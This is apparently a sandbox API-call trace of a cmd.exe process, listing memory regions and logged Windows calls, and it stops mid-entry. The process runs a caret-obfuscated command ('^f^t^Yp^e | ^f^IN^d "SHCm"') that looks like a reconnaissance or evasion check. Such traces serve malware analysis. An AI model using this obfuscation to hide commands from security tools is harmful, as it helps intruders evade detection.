Region: id = 960 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 961 start_va = 0xd0000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 962 start_va = 0x4a0b0000 end_va = 0x4a108fff entry_point = 0x4a0b0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 963 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 964 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 965 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 966 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 967 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 968 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 969 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 970 start_va = 0x370000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 971 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 972 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 973 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 974 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 975 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 976 start_va = 0xc0000 end_va = 0xc6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 977 start_va = 0x1d0000 end_va = 0x1d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 978 start_va = 0x1e0000 end_va = 0x1e0fff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 979 start_va = 0x1f0000 end_va = 0x1f0fff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 980 start_va = 0x2b0000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 981 start_va = 0x470000 end_va = 0x56ffff entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 982 start_va = 0x570000 end_va = 0x6f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 983 start_va = 0x700000 end_va = 0x880fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 984 start_va = 0x890000 end_va = 0x1c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 985 start_va = 0x1c90000 end_va = 0x1fd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c90000" filename = "" Region: id = 986 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 987 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 988 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 989 start_va = 0x7fef59a0000 end_va = 0x7fef59a7fff entry_point = 0x7fef59a0000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 990 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 991 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 992 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 993 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 994 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 995 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 996 start_va = 0x1fe0000 end_va = 0x22aefff entry_point = 0x1fe0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 85 os_tid = 0xae4 [0099.386] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cf8b0 | out: lpSystemTimeAsFileTime=0x1cf8b0*(dwLowDateTime=0xdc621fa0, dwHighDateTime=0x1d475ba)) [0099.386] GetCurrentProcessId () returned 0xae0 [0099.386] GetCurrentThreadId () returned 0xae4 [0099.386] GetTickCount () returned 0x21850 [0099.386] QueryPerformanceCounter (in: lpPerformanceCount=0x1cf8b8 | out: lpPerformanceCount=0x1cf8b8*=1814186600000) returned 1 [0099.388] GetModuleHandleW (lpModuleName=0x0) returned 0x4a0b0000 [0099.388] __set_app_type (_Type=0x1) [0099.389] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a0d7810) returned 0x0 [0099.389] __getmainargs (in: _Argc=0x4a0fa608, _Argv=0x4a0fa618, _Env=0x4a0fa610, _DoWildCard=0, _StartInfo=0x4a0de0f4 | out: _Argc=0x4a0fa608, _Argv=0x4a0fa618, _Env=0x4a0fa610) returned 0 [0099.389] GetCurrentThreadId () returned 0xae4 [0099.389] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xae4) returned 0x3c [0099.390] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0099.390] GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40 [0099.390] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0099.395] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0099.395] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1cf848 | out: phkResult=0x1cf848*=0x0) returned 0x2 [0099.395] VirtualQuery (in: lpAddress=0x1cf830, lpBuffer=0x1cf7b0, dwLength=0x30 | out: lpBuffer=0x1cf7b0*(BaseAddress=0x1cf000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0099.395] VirtualQuery (in: lpAddress=0xd0000, lpBuffer=0x1cf7b0, dwLength=0x30 | out: lpBuffer=0x1cf7b0*(BaseAddress=0xd0000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0099.395] VirtualQuery (in: lpAddress=0xd1000, lpBuffer=0x1cf7b0, dwLength=0x30 | out: lpBuffer=0x1cf7b0*(BaseAddress=0xd1000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0099.395] VirtualQuery (in: lpAddress=0xd4000, lpBuffer=0x1cf7b0, dwLength=0x30 | out: lpBuffer=0x1cf7b0*(BaseAddress=0xd4000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0099.396] VirtualQuery (in: lpAddress=0x1d0000, lpBuffer=0x1cf7b0, dwLength=0x30 | out: lpBuffer=0x1cf7b0*(BaseAddress=0x1d0000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x40000, __alignment2=0x0)) returned 0x30 [0099.396] GetConsoleOutputCP () returned 0x1b5 [0099.396] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0099.396] SetConsoleCtrlHandler (HandlerRoutine=0x4a0d3184, Add=1) returned 1 [0099.396] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.396] SetConsoleMode (hConsoleHandle=0x5c, dwMode=0x0) returned 0 [0099.396] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.397] GetConsoleMode (in: hConsoleHandle=0x5c, lpMode=0x4a0de194 | out: lpMode=0x4a0de194) returned 0 [0099.397] _get_osfhandle (_FileHandle=0) returned 0x3 [0099.397] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a0de198 | out: lpMode=0x4a0de198) returned 1 [0099.397] GetEnvironmentStringsW () returned 0x388c50* [0099.397] FreeEnvironmentStringsW (penv=0x388c50) returned 1 [0099.397] GetEnvironmentStringsW () returned 0x388c50* [0099.398] FreeEnvironmentStringsW (penv=0x388c50) returned 1 [0099.398] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ce708 | out: phkResult=0x1ce708*=0x44) returned 0x0 [0099.398] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ce700, lpData=0x1ce720, lpcbData=0x1ce704*=0x1000 | out: lpType=0x1ce700*=0x0, lpData=0x1ce720*=0x18, lpcbData=0x1ce704*=0x1000) returned 0x2 [0099.398] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ce700, lpData=0x1ce720, lpcbData=0x1ce704*=0x1000 | out: lpType=0x1ce700*=0x4, lpData=0x1ce720*=0x1, lpcbData=0x1ce704*=0x4) returned 0x0 [0099.398] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ce700, lpData=0x1ce720, lpcbData=0x1ce704*=0x1000 | out: lpType=0x1ce700*=0x0, lpData=0x1ce720*=0x1, lpcbData=0x1ce704*=0x1000) returned 0x2 [0099.398] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ce700, lpData=0x1ce720, lpcbData=0x1ce704*=0x1000 | out: lpType=0x1ce700*=0x4, lpData=0x1ce720*=0x0, lpcbData=0x1ce704*=0x4) returned 0x0 [0099.398] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ce700, lpData=0x1ce720, lpcbData=0x1ce704*=0x1000 | out: lpType=0x1ce700*=0x4, lpData=0x1ce720*=0x40, lpcbData=0x1ce704*=0x4) returned 0x0 [0099.398] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ce700, lpData=0x1ce720, lpcbData=0x1ce704*=0x1000 | out: lpType=0x1ce700*=0x4, lpData=0x1ce720*=0x40, lpcbData=0x1ce704*=0x4) returned 0x0 [0099.398] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ce700, lpData=0x1ce720, lpcbData=0x1ce704*=0x1000 | out: lpType=0x1ce700*=0x0, lpData=0x1ce720*=0x40, lpcbData=0x1ce704*=0x1000) returned 0x2 [0099.398] RegCloseKey (hKey=0x44) returned 0x0 [0099.398] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ce708 | out: phkResult=0x1ce708*=0x44) returned 0x0 [0099.398] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ce700, lpData=0x1ce720, lpcbData=0x1ce704*=0x1000 | out: lpType=0x1ce700*=0x0, lpData=0x1ce720*=0x40, lpcbData=0x1ce704*=0x1000) returned 0x2 [0099.398] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ce700, lpData=0x1ce720, lpcbData=0x1ce704*=0x1000 | out: lpType=0x1ce700*=0x4, lpData=0x1ce720*=0x1, lpcbData=0x1ce704*=0x4) returned 0x0 [0099.398] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ce700, lpData=0x1ce720, lpcbData=0x1ce704*=0x1000 | out: lpType=0x1ce700*=0x0, lpData=0x1ce720*=0x1, lpcbData=0x1ce704*=0x1000) returned 0x2 [0099.398] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ce700, lpData=0x1ce720, lpcbData=0x1ce704*=0x1000 | out: lpType=0x1ce700*=0x4, lpData=0x1ce720*=0x0, lpcbData=0x1ce704*=0x4) returned 0x0 [0099.399] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ce700, lpData=0x1ce720, lpcbData=0x1ce704*=0x1000 | out: lpType=0x1ce700*=0x4, lpData=0x1ce720*=0x9, lpcbData=0x1ce704*=0x4) returned 0x0 [0099.399] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ce700, lpData=0x1ce720, lpcbData=0x1ce704*=0x1000 | out: lpType=0x1ce700*=0x4, lpData=0x1ce720*=0x9, lpcbData=0x1ce704*=0x4) returned 0x0 [0099.399] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ce700, lpData=0x1ce720, lpcbData=0x1ce704*=0x1000 | out: lpType=0x1ce700*=0x0, lpData=0x1ce720*=0x9, lpcbData=0x1ce704*=0x1000) returned 0x2 [0099.399] RegCloseKey (hKey=0x44) returned 0x0 [0099.399] time (in: timer=0x0 | out: timer=0x0) returned 0x5be16bcc [0099.399] srand (_Seed=0x5be16bcc) [0099.399] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c ^f^t^Yp^e | ^f^IN^d \"SHCm\" " [0099.399] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c ^f^t^Yp^e | ^f^IN^d \"SHCm\" " [0099.399] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ec0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0099.399] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x388c60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0099.399] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0099.399] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0099.399] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0099.400] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0099.400] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.400] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0099.400] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0099.400] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0099.400] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0099.400] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0099.400] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0099.400] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0099.400] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0099.400] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1cf510 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0099.400] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x1cf510, lpFilePart=0x1cf4f0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x1cf4f0*="Desktop") returned 0x19 [0099.400] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0099.400] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1cf220 | out: lpFindFileData=0x1cf220) returned 0x388ab0 [0099.401] FindClose (in: hFindFile=0x388ab0 | out: hFindFile=0x388ab0) returned 1 [0099.401] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x1cf220 | out: lpFindFileData=0x1cf220) returned 0x388ab0 [0099.401] FindClose (in: hFindFile=0x388ab0 | out: hFindFile=0x388ab0) returned 1 [0099.401] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x1cf220 | out: lpFindFileData=0x1cf220) returned 0x388ab0 [0099.401] FindClose (in: hFindFile=0x388ab0 | out: hFindFile=0x388ab0) returned 1 [0099.401] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0099.401] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1 [0099.401] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1 [0099.401] GetEnvironmentStringsW () returned 0x388e70* [0099.402] FreeEnvironmentStringsW (penv=0x388e70) returned 1 [0099.402] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ec0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0099.402] GetConsoleOutputCP () returned 0x1b5 [0099.402] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0099.402] GetUserDefaultLCID () returned 0x409 [0099.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a0e7b50, cchData=8 | out: lpLCData=":") returned 2 [0099.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1cf620, cchData=128 | out: lpLCData="0") returned 2 [0099.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1cf620, cchData=128 | out: lpLCData="0") returned 2 [0099.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1cf620, cchData=128 | out: lpLCData="1") returned 2 [0099.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a0fa740, cchData=8 | out: lpLCData="/") returned 2 [0099.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a0fa4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0099.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a0fa460, cchData=32 | out: lpLCData="Tue") returned 4 [0099.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a0fa420, cchData=32 | out: lpLCData="Wed") returned 4 [0099.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a0fa3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0099.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a0fa3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0099.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a0fa360, cchData=32 | out: lpLCData="Sat") returned 4 [0099.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a0fa700, cchData=32 | out: lpLCData="Sun") returned 4 [0099.403] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a0e7b40, cchData=8 | out: lpLCData=".") returned 2 [0099.403] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a0fa4e0, cchData=8 | out: lpLCData=",") returned 2 [0099.403] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0099.404] GetConsoleTitleW (in: lpConsoleTitle=0x388ee0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0099.404] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0099.404] GetProcAddress (hModule=0x77b20000, lpProcName="CopyFileExW") returned 0x77b323d0 [0099.405] GetProcAddress (hModule=0x77b20000, lpProcName="IsDebuggerPresent") returned 0x77b28290 [0099.405] GetProcAddress (hModule=0x77b20000, lpProcName="SetConsoleInputExeNameW") returned 0x77b317e0 [0099.405] _wcsicmp (_String1="ftYpe", _String2=")") returned 61 [0099.405] _wcsicmp (_String1="FOR", _String2="ftYpe") returned -5 [0099.405] _wcsicmp (_String1="FOR/?", _String2="ftYpe") returned -5 [0099.405] _wcsicmp (_String1="IF", _String2="ftYpe") returned 3 [0099.405] _wcsicmp (_String1="IF/?", _String2="ftYpe") returned 3 [0099.406] _wcsicmp (_String1="REM", _String2="ftYpe") returned 12 [0099.406] _wcsicmp (_String1="REM/?", _String2="ftYpe") returned 12 [0099.406] _wcsicmp (_String1="FOR", _String2="fINd") returned 6 [0099.406] _wcsicmp (_String1="FOR/?", _String2="fINd") returned 6 [0099.406] _wcsicmp (_String1="IF", _String2="fINd") returned 3 [0099.406] _wcsicmp (_String1="IF/?", _String2="fINd") returned 3 [0099.407] _wcsicmp (_String1="REM", _String2="fINd") returned 12 [0099.407] _wcsicmp (_String1="REM/?", _String2="fINd") returned 12 [0099.408] _pipe (in: _PtHandles=0x38ae20, _PipeSize=0x0, _TextMode=32768 | out: _PtHandles=0x38ae20) returned 0 [0099.408] _dup (_FileHandle=1) returned 5 [0099.408] _dup2 (_FileHandleSrc=4, _FileHandleDst=1) returned 0 [0099.408] _close (_FileHandle=4) returned 0 [0099.409] _wcsicmp (_String1="ftYpe", _String2="DIR") returned 2 [0099.409] _wcsicmp (_String1="ftYpe", _String2="ERASE") returned 1 [0099.409] _wcsicmp (_String1="ftYpe", _String2="DEL") returned 2 [0099.409] _wcsicmp (_String1="ftYpe", _String2="TYPE") returned -14 [0099.409] _wcsicmp (_String1="ftYpe", _String2="COPY") returned 3 [0099.409] _wcsicmp (_String1="ftYpe", _String2="CD") returned 3 [0099.409] _wcsicmp (_String1="ftYpe", _String2="CHDIR") returned 3 [0099.409] _wcsicmp (_String1="ftYpe", _String2="RENAME") returned -12 [0099.409] _wcsicmp (_String1="ftYpe", _String2="REN") returned -12 [0099.409] _wcsicmp (_String1="ftYpe", _String2="ECHO") returned 1 [0099.409] _wcsicmp (_String1="ftYpe", _String2="SET") returned -13 [0099.409] _wcsicmp (_String1="ftYpe", _String2="PAUSE") returned -10 [0099.409] _wcsicmp (_String1="ftYpe", _String2="DATE") returned 2 [0099.409] _wcsicmp (_String1="ftYpe", _String2="TIME") returned -14 [0099.409] _wcsicmp (_String1="ftYpe", _String2="PROMPT") returned -10 [0099.410] _wcsicmp (_String1="ftYpe", _String2="MD") returned -7 [0099.410] _wcsicmp (_String1="ftYpe", _String2="MKDIR") returned -7 [0099.410] _wcsicmp (_String1="ftYpe", _String2="RD") returned -12 [0099.410] _wcsicmp (_String1="ftYpe", _String2="RMDIR") returned -12 [0099.410] _wcsicmp (_String1="ftYpe", _String2="PATH") returned -10 [0099.410] _wcsicmp (_String1="ftYpe", _String2="GOTO") returned -1 [0099.410] _wcsicmp (_String1="ftYpe", _String2="SHIFT") returned -13 [0099.410] _wcsicmp (_String1="ftYpe", _String2="CLS") returned 3 [0099.410] _wcsicmp (_String1="ftYpe", _String2="CALL") returned 3 [0099.410] _wcsicmp (_String1="ftYpe", _String2="VERIFY") returned -16 [0099.410] _wcsicmp (_String1="ftYpe", _String2="VER") returned -16 [0099.410] _wcsicmp (_String1="ftYpe", _String2="VOL") returned -16 [0099.410] _wcsicmp (_String1="ftYpe", _String2="EXIT") returned 1 [0099.410] _wcsicmp (_String1="ftYpe", _String2="SETLOCAL") returned -13 [0099.410] _wcsicmp (_String1="ftYpe", _String2="ENDLOCAL") returned 1 [0099.410] _wcsicmp (_String1="ftYpe", _String2="TITLE") returned -14 [0099.410] _wcsicmp (_String1="ftYpe", _String2="START") returned -13 [0099.410] _wcsicmp (_String1="ftYpe", _String2="DPATH") returned 2 [0099.410] _wcsicmp (_String1="ftYpe", _String2="KEYS") returned -5 [0099.410] _wcsicmp (_String1="ftYpe", _String2="MOVE") returned -7 [0099.411] _wcsicmp (_String1="ftYpe", _String2="PUSHD") returned -10 [0099.411] _wcsicmp (_String1="ftYpe", _String2="POPD") returned -10 [0099.411] _wcsicmp (_String1="ftYpe", _String2="ASSOC") returned 5 [0099.411] _wcsicmp (_String1="ftYpe", _String2="FTYPE") returned 0 [0099.411] _wcsicmp (_String1="ftYpe", _String2="DIR") returned 2 [0099.411] _wcsicmp (_String1="ftYpe", _String2="ERASE") returned 1 [0099.411] _wcsicmp (_String1="ftYpe", _String2="DEL") returned 2 [0099.411] _wcsicmp (_String1="ftYpe", _String2="TYPE") returned -14 [0099.411] _wcsicmp (_String1="ftYpe", _String2="COPY") returned 3 [0099.411] _wcsicmp (_String1="ftYpe", _String2="CD") returned 3 [0099.411] _wcsicmp (_String1="ftYpe", _String2="CHDIR") returned 3 [0099.411] _wcsicmp (_String1="ftYpe", _String2="RENAME") returned -12 [0099.411] _wcsicmp (_String1="ftYpe", _String2="REN") returned -12 [0099.411] _wcsicmp (_String1="ftYpe", _String2="ECHO") returned 1 [0099.411] _wcsicmp (_String1="ftYpe", _String2="SET") returned -13 [0099.411] _wcsicmp (_String1="ftYpe", _String2="PAUSE") returned -10 [0099.411] _wcsicmp (_String1="ftYpe", _String2="DATE") returned 2 [0099.411] _wcsicmp (_String1="ftYpe", _String2="TIME") returned -14 [0099.411] _wcsicmp (_String1="ftYpe", _String2="PROMPT") returned -10 [0099.411] _wcsicmp (_String1="ftYpe", _String2="MD") returned -7 [0099.411] _wcsicmp (_String1="ftYpe", _String2="MKDIR") returned -7 [0099.411] _wcsicmp (_String1="ftYpe", _String2="RD") returned -12 [0099.411] _wcsicmp (_String1="ftYpe", _String2="RMDIR") returned -12 [0099.411] _wcsicmp (_String1="ftYpe", _String2="PATH") returned -10 [0099.411] _wcsicmp (_String1="ftYpe", _String2="GOTO") returned -1 [0099.411] _wcsicmp (_String1="ftYpe", _String2="SHIFT") returned -13 [0099.411] _wcsicmp (_String1="ftYpe", _String2="CLS") returned 3 [0099.411] _wcsicmp (_String1="ftYpe", _String2="CALL") returned 3 [0099.412] _wcsicmp (_String1="ftYpe", _String2="VERIFY") returned -16 [0099.412] _wcsicmp (_String1="ftYpe", _String2="VER") returned -16 [0099.412] _wcsicmp (_String1="ftYpe", _String2="VOL") returned -16 [0099.412] _wcsicmp 